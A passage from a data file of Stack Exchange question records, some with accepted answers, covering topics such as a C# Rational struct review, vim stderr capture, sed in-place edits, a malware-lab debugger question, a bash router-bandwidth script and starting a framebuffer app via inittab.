(Denominator == 0); } }        public bool IsInteger { get { return (Denominator == 1); } }        public double ToDouble()        {            if (IsUndefined) return double.NaN;            return (double)Numerator / (double)Denominator;        }        // http://en.wikipedia.org/wiki/Euclidean_algorithm        private static int GreatestCommonDivisor(int a, int b)        {            return (b == 0) ? a : GreatestCommonDivisor(b, a % b);        }    } //end struct} //end namespaceUse of Negatives:The sign of a Rational is determined by the Numerator.  Thus a new Rational(3, -4) or Parse(3/-4) would both return Rational(-3, 4).  Undefined:There are corner cases where the integer inputs do not return a valid Rational.  This would only happen if the Denominator is negative and the Numerator equals int.MinValue.  E.g. new Rational(int.MinValue, -2) returns a valid Rational but new Rational(int.MinValue, -1) would not.Convenient Fields and Properties:Like other numbers, Rational has a MinValue and MaxValue.  Other convenient fields are Epsilon, Undefined, Zero, One, and MinusOne.  Some convenient properties are IsUndefined and IsInteger.Constructor Validation:I imagine the biggest controversy is that I allow the 2 parameter constructor to throw an exception on invalid inputs.  Im aware of the argument that this is bad practice.  Sure I could replace this constructor with a static Create method, the net effect is the same: anytime you create a new Rational it could possibly throw.  So its wrong kill your neighbors but perfectly acceptable to hire someone else to do it?I seriously debated the issue but ultimately decided to let the constructor throw.  This keeps the use of Rational similar to other numbers, including Decimal, which also can throw during construction (example: new Decimal(double.NaN)). "  , "title": "My Rational struct, version 1"  , "tags": "c#;rational numbers"  , "accepted_answer": "I like it very much (maybe other reviewers will disagree though).A few things tickle a bit.System namespace is not yoursI wouldn't put anything in the System namespace, whatever the reason is. That namespace belongs to the framework, and as much as your struct looks like it should be part of that framework, it isn't. And the day Microsoft ships a System.Rational, you have a clash.thisThe keyword this is inconsistently being used as a qualifier - sometimes it's there, sometimes it isn't. I'd just remove it, it's perfectly redundant.ToStringThe ToString implementation is switching on a non-enum value, and that switch block doesn't have a default case:    public override string ToString()    {        switch (Denominator)        {            case 0:                return Undefined;            case 1:                return Numerator.ToString();        }        return string.Format({0}/{1}, Numerator, Denominator);    }I'd live with the non-enum switch in the name of premature optimisation (does an if block really make a difference?), but move the return string.Format part into it.Double-dipIn several places you're doing this:return new Rational{    Numerator = /*expression*/,    Denominator = /*expression*/}.Simplify();That's actually calling the default constructor (a 0/0 / Undefined instance) and accessing the private setters from outside that instance, which is violating the type's immutability and, some would argue, encapsulation. And then Simplify() returns yet another instance.I don't like having public int SomeProperty { get; private set; } auto-properties in an immutable type, exactly for that reason. In my mind, a public property with a private setter should be 100% equivalent to this:private readonly int _numerator;public int Numerator { get { return _numerator; } }But that would blow up your code with the above, because you're accessing the private setter.Why not just do this instead?return new Rational([expression], [expression]);The constructor is calling Simplify anyway!Immutable?Wait a sec... is that struct really immutable?private void Reduce(){    var greatestCommonDivisor = GreatestCommonDivisor(Numerator, Denominator);    Numerator /= greatestCommonDivisor;    Denominator /= greatestCommonDivisor;}Shouldn't that be private Rational Reduce(), and returning a new instance? You're dealing with a struct here - the two values ought to be considered as a single unit. I'm not sure how much of a violation that is, because the method is private, but it doesn't feel right that a struct internally mutates itself."  } 
{  "id": "_vi.11730"  , "question": "I have a binding in my .vimrc that reads the contents of the system clipboard to a line immediately below my cursornnoremap <silent> <leader>f <esc> :read ! test -f /usr/bin/xsel && /usr/bin/xsel -ob \\|\\| /usr/bin/pbpaste<cr>I tried to change it to (1)nnoremap <silent> <leader>f <esc> :read ! /usr/bin/xsel -ob \\|\\| /usr/bin/pbpaste<cr>or (2)nnoremap <silent> <leader>f <esc> :read ! /usr/bin/xsel -ob ; /usr/bin/pbpaste<cr>for the sake of simplicity, even though it's more brittle.When I change it to either of those, however, I get the contents of stderr in my buffer as well, as if vim is reading from both stdout and stderr when executing the command. (this is after echo clipboard_contents | pbcopy)./bin/sh: /usr/bin/xsel: No such file or directoryclipboard_contentsWhy is vim doing that? Is there a way to tell it to silently drop stderr in this case or redirect it to /dev/null?"  , "title": "read from external command captures stderr as well"  , "tags": "external command"  , "accepted_answer": "From :h :r!:                                                        :r! :read!:[range]r[ead] [++opt] !{cmd}                        Execute {cmd} and insert its standard output below                        the cursor or the specified line.  A temporary file is                        used to store the output of the command which is then                        read into the buffer.  'shellredir' is used to save                        the output of the command, which can be set to include                        stderr or not.And in :h 'shellredir':'shellredir' 'srr'      string  (default >, >& or >%s 2>&1)                        global                        {not in Vi}        String to be used to put the output of a filter command in a temporary        file.  ...        The default is >.  For Unix, if the 'shell' option is csh, tcsh        or zsh during initializations, the default becomes >&.  If the        'shell' option is sh, ksh or bash the default becomes        >%s 2>&1.  This means that stderr is also included.So, just do:set shellredir=>"  } 
{  "id": "_unix.155698"  , "question": "I have to compare Linux and Windows machine hardware?In windows system, I can open the My computer properties and see the details like processors, RAM Hard disks etc.Through task manager, I can see how many processors are there ?In the same way, Linux has commands to do that likecat /proc/meminfocat /proc/cpuinfoHow to check hard disk types and number of processors in my linux machine?"  , "title": "Comparing Windows and Linux machine hardware"  , "tags": "linux;process;hard disk;cpu;oracle linux"  } 
{  "id": "_webmaster.107233"  , "question": "I am looking for a way to connect asset download goals early in the buying cycle with signups at the end of the cycle.My website has complex buying cycle that happens over the course of months, for which we have top, mid, and bottom of marketing funnel goals. The top of funnel goals include downloads of white papers and ebooks, whereas the middle and bottom of funnel are downloads of solution assets and sign ups for free trials, demos, etc. I am hoping to find a way to see in Google Analytics see how many mid and bottom of funnel goals were tied to a user conversion on top of funnel resources.Is there a way in Google Analytics to connect multiple goals to a user?"  , "title": "Connecting different goal types to see correlations in Google Analytics"  , "tags": "google analytics;analytics;conversions;universal analytics;goal tracking"  } 
{  "id": "_cogsci.1034"  , "question": "QuestionsIs it true that people 'like' those who are similar to them?Why is it so? Is there an evolutionary explanation?"  , "title": "Do people like those who are similar to them and why?"  , "tags": "social psychology;evolution"  , "accepted_answer": "Since you mentioned that you want an evolutionary explanation, there is one available. In biology the effect of providing benefit towards potential non-kin based on an arbitrary marker is known as the green-beard or armpit effect. In a social human setting, if the marker is arbitrary social construct it is usually known as ethnocentrism. This sort of behavior is studied in game theory in the context of cooperate-defect games (typical example: Prisoner's dilemma) and usually called conditional altruism.It has been shown that conditional altruism evolves in a simple spatial agent-based model and promotes cooperative behavior (Hammond & Axelrod, 2006a 2006b). The effect does not create cooperation, but if there is another mechanism for creation of cooperation (say spatial factors in the H&A model) then ethnocentrism helps maintain it and extend the range of parameters under which cooperation can occur (Kaznatcheev & Shultz, 2011). In humans, this ability to cooperate only with others of similar culture is believed to require a significant amount of cognitive ability. In fact, some even suppose that it could have been one of the factors that drove towards the increasing complexity of our brains. Unfortunately, Kaznatcheev (2010a) shows that the ethnocentrism of the sort present in the H&A models is not robust to increase in the cost of cognition. Thus, in humans (or simpler organisms) the mechanism allowing discrimination has to have been in place already (and not co-evolved) or be very inexpensive.The above examples dealt with the prisoner's dilemma (PD) which is a typical model of a competitive environment. In the PD cooperation is irrational, so there conditional altruism allowed the agents to cooperate irrationally (thus moving over to the better social payoff), while still treating those of a different culture rationally and defection from them. This doesn't seem as bad, but Kaznatcheev (2010b) shows that the mechanism of ethnocentrism is robust across different games (not just PD) including ones where cooperation is rational. In those games conditional altruism produces an irrational defection from the out-group. Thus, from an evolutionary stand-point this is a two-edged sword: it can cause unexpected cooperative behavior, but also irrational hostility.ReferencesHammond, R., & Axelrod, R. (2006a). Evolution of contingent altruism when cooperation is expensive. Theoretical Population Biology, 69, 333-338.Hammond, R., & Axelrod, R. (2006b). The evolution of ethnocentrism. Journal of Conflict Resolution, 50, 926-936. (pdf)Kaznatcheev, A. (2010a). The cognitive cost of ethnocentrism. In S. Ohlsson & R. Catrambone (Eds.), Proceedings of the 32nd annual conference of the cognitive science society. (pdf)Kaznatcheev, A. (2010b). Robustness of ethnocentrism to changes in inter-personal interactions. Complex Adaptive Systems - AAAI Fall Symposium. (pdf)Kaznatcheev, A., & Shultz, T.R. (2011). Ethnocentrism Maintains Cooperation, but Keeping One's Children Close Fuels It. In L. Carlson, C, Hoelscher, & T.F. Shipley (Eds), Proceedings of the 33rd annual conference of the cognitive science society. (pdf)"  } 
{  "id": "_unix.332259"  , "question": "When the GRUB bootloader boots Linux, it pass the name of the root partition (where /sbin/init is) to the kernel through the root= kernel parameter in order for the initrd to be able to mount the real root filesystem later.When we use the grub-install tool, we pass as arguments only the block device where the MBR should be installed and the place where the GRUB image and configuration files should be placed, we do not specify the root partirion with what the kernel will be booted.How exactly GRUB determines the root partition of the system when it's installed? How is that implemented?"  , "title": "How GRUB determines the Linux root partition that it pass to the kernel with root=?"  , "tags": "boot;partition;root;grub"  } 
{  "id": "_unix.387277"  , "question": "My first encounters with a CLI (and computers generally), involved booting to a command prompt, usually inserting a disc, and loading a full screen GUI program that was not windowed in what we commonly see today as GUI based OS.It went something like this.  Boot >> Prompt>> Load Rocky's Boots >>Launch Rocky's Boots >> Quit >> PromptI've never seen that happen with a Unix / Linux based system, loading directly to a graphical program not in a windowed OS environment - only ascii based programs like Space Invaders, or VIM.  Does the ability exist to do the aforementioned DOS-like loading of 8-bit graphical programs (I stress, not windowed in OSX or Unity or whatever)? If not, why is it different? "  , "title": "Can a Unix (Linux) System Launch a GUI from CLI Like (Apple/Microsoft) DOS?"  , "tags": "linux;terminal;graphics"  } 
{  "id": "_softwareengineering.234482"  , "question": "I have a RESTful API, built in NODE.js that does what you would expect it to: consumes data and then makes it accessible. Currently, data being submitted to my server is nested form data:data[0][username]=...data[0][email]=...data[0][phone]=......data[12][username]=...data[12][email]=...data[12][phone]=...or as a query stringdata[0][username]=...&data[0][email]=...&data[0][phone]=...SO when I parse it on the server, I get a JS array of objects with those particular fields. What I am wondering is, is it safe for me accept a string that I can JSON.parse and the process it?data=(some stringified json object)I am unsure if it's possible for malicious code or anything to be included in the JSON object that would blow up my server once run through a parserThanks."  , "title": "Is parsing a submitted JSON object safe?"  , "tags": "javascript;node.js;json;code security;malicious code"  } 
{  "id": "_unix.174609"  , "question": "I am trying to replace multiple words in file by using sed -i #expression1 #expression2fileSomething  123 item1Something  456 item2Something  768 item3Something  353 item4Output (Desired)anything  123 stuff1anything  456 stuff2anything  768 stuff3anything  353 stuff4Try-outsI can get the following output by using sed -i for 2 times. sed -i 's/Some/any/g' file sed -i 's/item/stuff/g' fileCan I have any possible way of making this as single in-place command like sed -i 's/Some/any/g' -i 's/item/stuff/g' fileWhen I tried above code it takes s/item/stuff/g as a file and try working on it.."  , "title": "sed with multiple expression for in-place arguement"  , "tags": "shell;shell script;text processing;sed"  , "accepted_answer": "Depending on the version of sed on your system you may be able to dosed -i 's/Some/any/; s/item/stuff/' fileYou don't need the g after the final slash in the s command here, since you're only doing one replacement per line.Alternatively:sed -i -e 's/Some/any/' -e 's/item/stuff/' fileThe -i option tells sed to edit files in place; if there are characters immediately after the -i then sed makes a backup of the original file and uses those characters as the backup file's extension. Eg,sed -i.bak 's/Some/any/; s/item/stuff/' fileorsed -i'.bak' 's/Some/any/; s/item/stuff/' filewill modify file, saving the original to file.bak.Of course, on a Unix (or Unix-like) system, we normally use '~' rather than '.bak', sosed -i~ 's/Some/any/;s/item/stuff/' file"  } 
{  "id": "_cs.6718"  , "question": "I try to understand if someone can apply a NTM to recognize coNP language.From the definition we know that:NP - set of languages that can be recognized by NTM in polynomial time.coNP - set of all languages that are complement to NP language.as with P versus NP question, we have NP versus coNP question.Unfortunately, is not defined explicitly if can one recognize coNP language with NTM.However, if we take a look at few examples from the set of coNP languages, few questions emerge.TAUTOLOGY = {$\\varphi$:$\\varphi$ is satisfied by every assingment}$\\bar{SAT}$ = {$\\varphi$: $\\varphi$ is not satisfiable }These languages are known to be coNP language and intuitively it seems like one can construct NTM to recognize these languages. On the other hand, if one can construct NTM to recognize them why them not in NP class (by definition)? Maybe not all language of coNP can be solved by NTM just few of them, if yes, we will have intersection of NP class and coNP class. And if every language from coNP class cannot be solved by NTM, does it mean that limitation of NTM is located in coNP class. Is NTM is limited at all?I am a little bit confused, I will appreciate if someone will shed the light on this topic."  , "title": "coNP and limitation of NDTM"  , "tags": "complexity theory;np complete;complexity classes"  } 
{  "id": "_reverseengineering.15127"  , "question": "I am working on Lab13-01.exe from Practical Malware Analysis (you can download it from here).When I run it without debuggers in my VMWare it runs without errors.I started to analyze it with OllyDbg 2.01.There is some point in the code that it receives exception and I don't understand why.It has resource that contains encoded string:  LLLKIZXORXZWVZWLZI^ZUZWBHRHXTVThis resource is saved at address 0x408060At 0x4011C1 it overwrites the first byte of the string with AL (0x77):MOV BYTE PTR DS:[ECX], ALThen I received:Access violation when writing to [00408060]When I press Shift+Run/Step, it succeed to run.There number of things I don't understand here.If it can't write to [00408060], how come when I press Shift+Run/Step it succeed ?Why it can't write to [00408060] ? Is there some flag that prevent from writing to this aread (if yes, where can I see it?) ? "  , "title": "Why the program can't write to specific memory area"  , "tags": "ollydbg;exception"  } 
{  "id": "_softwareengineering.196407"  , "question": "I'm a bit confused if saving the information to session code below, belongs in the controller action as shown below or should it be part of my Model? I would add that I have other controller methods that will read this session value later.  public ActionResult AddFriend(FriendsContext viewModel)  {        if (!ModelState.IsValid)        {                            return View(viewModel);        }        // Start - Confused if the code block below belongs in Controller?        Friend friend = new Friend();        friend.FirstName = viewModel.FirstName;        friend.LastName = viewModel.LastName;        friend.Email = viewModel.UserEmail;                    httpContext.Session[latest-friend] = friend;        // End Confusion        return RedirectToAction(Home);    }I thought about adding a static utility class in my Model which does something like below, but it just seems stupid to add 2 lines of code in another file.public static void SaveLatestFriend(Friend friend, HttpContextBase httpContext){    httpContext.Session[latest-friend] = friend;}public static Friend GetLatestFriend(HttpContextBase httpContext){    return httpContext.Session[latest-friend] as Friend;}"  , "title": "MVC : Does Code to save data in cache or session belongs in controller?"  , "tags": "mvc;asp.net mvc;asp.net mvc 3;asp.net mvc 4"  } 
{  "id": "_cs.14788"  , "question": "I'm searching for a reference of an undecidability proof that is as simple as possible and starts from scratch.With from scratch I mean that it does not use some other undecidable problem to prove some undecidability (which is the usual case), I cannot wrap my mind about how proving undecidability that way (without a previous proof) could be possible.This question may be inspiring: An example of an easy to understand undecidable problemAlso, I know this is probably not very objective, but it is important to me, it should be something as simple as possible, hopefully enough so that even I can understand it."  , "title": "Reference for an undecidability proof"  , "tags": "reference request;proof techniques;undecidability;decision problem"  } 
{  "id": "_unix.331019"  , "question": "i use this bash script to monitor my bandwidth usage :#!/bin/sh#Get __RequestVerificationTokencc=`curl -s -X GET http://192.168.8.1/api/webserver/SesTokInfo`c=`echo $cc| grep SessionID=| cut -b 10-147`t=`echo $cc| grep TokInfo| cut -b 10-41`while true; do#Exucate Commandmx=$(curl http://192.168.8.1/api/monitoring/traffic-statistics 2>/dev/null \\ -H Cookie: $c -H __RequestVerificationToken: $t -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \\ 2>&1 | grep '</CurrentDownload>' #convert byte to megabytete=$(( $mx / 1048576 ))time=$(date)# show Usageecho $te M.B#compare usage from below list if [ $te -ge 1000 ] && [ $te -le 5000 ] ||  [ $te -ge 8000 ] && [ $te -le 10000 ] ||  [ $te -ge 11000 ] && [ $te -le 15000 ] ||  [ $te -ge 17000 ]thenecho Plz Low your Data Usage !!else   echo Under Bandwidth Limit ..   $timefisleep 20it`s work well at first but during running it gives my error:arithmetic expression: expecting primary:   / 1048576 on line that converting byte to megabyte& i try execute it using sh test.sh & bash test.sh Same Error !!output of : sudo sh -x ./test.sh+ curl -s -X GET http://192.168.8.1/api/webserver/SesTokInfo+ cc=<?xml version=1.0 encoding=UTF-8?><response><SesInfo>SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC                                                                             lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS</SesInfo><TokInfo>92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I</TokInfo></response>+ + + grepechocut SessionID= <?xml version=1.0 encoding=UTF-8?><response><SesInfo>SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC                                                                             lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS</SesInfo><TokInfo>92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I</TokInfo></response> -b 10-147+ c=SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFu                                                                             FgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS+ + + grepcut TokInfo -b 10-41echo <?xml version=1.0 encoding=UTF-8?><response><SesInfo>SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC                                                                             lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS</SesInfo><TokInfo>92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I</TokInfo></response>+ t=92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I+ true+ + + + grepcut </CurrentDownload>cut -d> -f2 -d<curl -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98                                                                             3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs                                                                             abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX                                                                             KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded;                                                                              charset=UTF-8  2+ IP=628609528+ re=599+ echo 628609528628609528+ date+ time=Sat 17 Dec 12:06:36 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:36 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:36 EET 2016+ echo 628609528628609528+ sleep 2+ true+ + + + grepcurlcut </CurrentDownload>cut http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5I                                                                             d983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMg                                                                             CZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -d> -f2 -H -d< __RequestVerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H -f1 Content                                                                             -Type: application/x-www-form-urlencoded; charset=UTF-8  2+ IP=628610195+ re=599+ echo 628610195628610195+ date+ time=Sat 17 Dec 12:06:39 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:39 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:39 EET 2016+ echo 628610195628610195+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d>curl -f2 -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98                                                                             3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs                                                                             abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX                                                                             KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded;                                                                              charset=UTF-8  2+ IP=628610687+ re=599+ echo 628610687628610687+ date+ time=Sat 17 Dec 12:06:41 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:41 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:41 EET 2016+ echo 628610687628610687+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2curl -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98                                                                             3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs                                                                             abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX                                                                             KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded;                                                                              charset=UTF-8  2+ IP=628611179+ re=599+ echo 628611179628611179+ date+ time=Sat 17 Dec 12:06:45 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:45 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:45 EET 2016+ echo 628611179628611179+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d>curl -f2 -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98                                                                             3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs                                                                             abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX                                                                             KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded;                                                                              charset=UTF-8  2+ IP=628611671+ re=599+ echo 628611671628611671+ date+ time=Sat 17 Dec 12:06:48 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:48 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:48 EET 2016+ echo 628611671628611671+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2curl -d< http://192.168.8.1/api/monitoring/traffic-statistics -f1 -H Cookie: SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC                                                                             lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __Request                                                                             VerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application                                                                             /x-www-form-urlencoded; charset=UTF-8  2+ IP=628619238+ re=599+ echo 628619238628619238+ date+ time=Sat 17 Dec 12:06:50 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:50 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:50 EET 2016+ echo 628619238628619238+ sleep 2+ true+ + + + grepcut </CurrentDownload>cut -d>curl -f2 -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd4                                                                             6cClFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __Requ                                                                             estVerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: applicat                                                                             ion/x-www-form-urlencoded; charset=UTF-8  2+ IP=628623293+ re=599+ echo 628623293628623293+ date+ time=Sat 17 Dec 12:06:53 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:53 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:53 EET 2016+ echo 628623293628623293+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2 -d<curl -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98                                                                             3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs                                                                             abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX                                                                             KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded;                                                                              charset=UTF-8  2+ IP=628630547+ re=599+ echo 628630547628630547+ date+ time=Sat 17 Dec 12:06:55 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:55 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:55 EET 2016+ echo 628630547628630547+ sleep 2+ true+ + + + grepcutcurlcut -d> http://192.168.8.1/api/monitoring/traffic-statistics                                                                              -f2 -H </CurrentDownload> Cookie: SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC                                                                             lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -d< -f1 -H __RequestVerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: a                                                                             pplication/x-www-form-urlencoded; charset=UTF-8  2+ IP=628631670+ re=599+ echo 628631670628631670+ date+ time=Sat 17 Dec 12:06:58 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:58 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:58 EET 2016+ echo 628631670628631670+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2 -d<curl -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98                                                                             3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs                                                                             abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX                                                                             KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded;                                                                              charset=UTF-8  2+ IP=./test.sh: 11: ./test.sh: arithmetic expression: expecting primary:   / 104                                                                             8576 "  , "title": "error with bash script arithmetic expression: expecting primary"  , "tags": "bash;shell script;router;api"  } 
{  "id": "_unix.71533"  , "question": "I'd like the footer of a Mailman list to include an image. Is this possible? If yes, how?I tried the obvious path of just typing <img...>, but that didn't work."  , "title": "How can I include an image in a Mailman footer?"  , "tags": "mailman"  } 
{  "id": "_cs.68550"  , "question": "I need to generate/enumerate isomorphism classes of vertex-rooted graphs with the following properties. Let $\\Delta$ be the maximal degree (say 3 for subcubic graphs) and $r$ the maximal distance of a vertex from the root (something like radius, even though the formal definition of radius of a graph is different). Note that the requirement also means the graphs are connected. Note that rooted graphs are isomorphic if there exists an isomorphism that respects the root, i.e., sends root to root.It is clear that for fixed $\\Delta$ and $r$ there exist only finitely many such graphs. The number of them will be huge, but still drastically smaller than the number of all graphs or all bounded-degree graphs on the same number of vertices.Example: For $\\Delta=2$ and $r=1$ we would get exactly $4$ graphs: (1) just the root, (2) an edge with one vertex the root, (3) a cherry with the root in the middle and (4) a triangle with one vertex the root.The case I am mostly interested in is $\\Delta=3$ but if possible I would like to be more general.Question: Is there some software or a collection that provides this? If possible, I would like to avoid coding the whole thing myself as this seems to be a rather complex task (generating non-isomorphic graphs in a reasonable efficient way). I am aware of nauty, which can check isomorphism and also generates certain types of graphs. But after reading the manual, I think there is no option to generate rooted graphs (there is option to generate bounded-degree graphs, though).Does anyone have an idea how to do this without spending a lot of time writing my own generator?"  , "title": "Generate all non-isomorphic bounded-degree rooted graphs of bounded radius"  , "tags": "graphs;graph isomorphism;mathematical software"  } 
{  "id": "_softwareengineering.172927"  , "question": "I started as the analyst, talking to the client and jotting down requirements and all that jazz. Ended as the sole developer of the project.The schedule is OK, but not OK for someone that don't know nothing about how to develop a WPF application, IMHO.What can I do about it, tell program manager that she made a huge mistake by choosing someone with no skills(she had no choice, I was the only one not allocated), or slit my wrists? Do I have other choices?P.S.: Really trying to learn it, can't get how to structure the project MVVM, IoC, Logging. The concept count is too damn high."  , "title": "Assigned to a new WPF project, know nothing about it"  , "tags": "wpf"  , "accepted_answer": "I'd start with the basics first and add the design patterns and AOP concerns once those are nailed down.  Trying to learn all of that in one shot is just going to confuse you, as you seem to be aware.I would suggest that you talk to the PM not in terms of I can't do it, but rather in terms of this is going to be a relatively simple implementation.  I'm not sure where the MVVM/Logging/etc requirements are coming from, but I'd fix those if I were you as being unfeasible, given your skill set with the framework.  The main thing is to manage expectations.  The app will have to be relatively simple and it might not be the most maintainable thing in the world since this is your first crack at it.Edit to clarify about MVVM: My intent here was to suggest that MVVM is not a specific requirement of WPF projects rather than to question its validity as a pattern or its usefulness.  Similar concept of the AOP techniques as well."  } 
{  "id": "_unix.67492"  , "question": "I have a python application that uses pygame to access the framebuffer directly without using X. I want to start this application on startup instead of showing the console login prompt. I haven't found any good resources which explains how I would do it.Just the same way gdm is started instead of showing a console login prompt. Bonus question: What would happen if said application crashed? Would the console login prompt be shown?Edit: I have been reading up on runlevels and startup. More specific question below Will it be enough to create a /etc/init.d script which starts my python program, update rc.d with update-rc.d and setting priority to 99 so that it runs last and setting it to run under runlevel 5 (Which is for gui applications I heard). Then changing the default runlevel 5 in /etc/inittab?Or do I have to do something special since the program uses framebuffer?"  , "title": "How do I start a gui framebuffer (no X) application on startup instead of console login prompt?"  , "tags": "debian;gui;startup;raspberry pi;framebuffer"  , "accepted_answer": "You can try to run directy on the inittab... try to edit the /etc/inittab and replace the 1:2345:respawn:/sbin/getty 38400 tty1with1:2345:respawn:/usr/bin/python /srv/game/game.pyIf the game 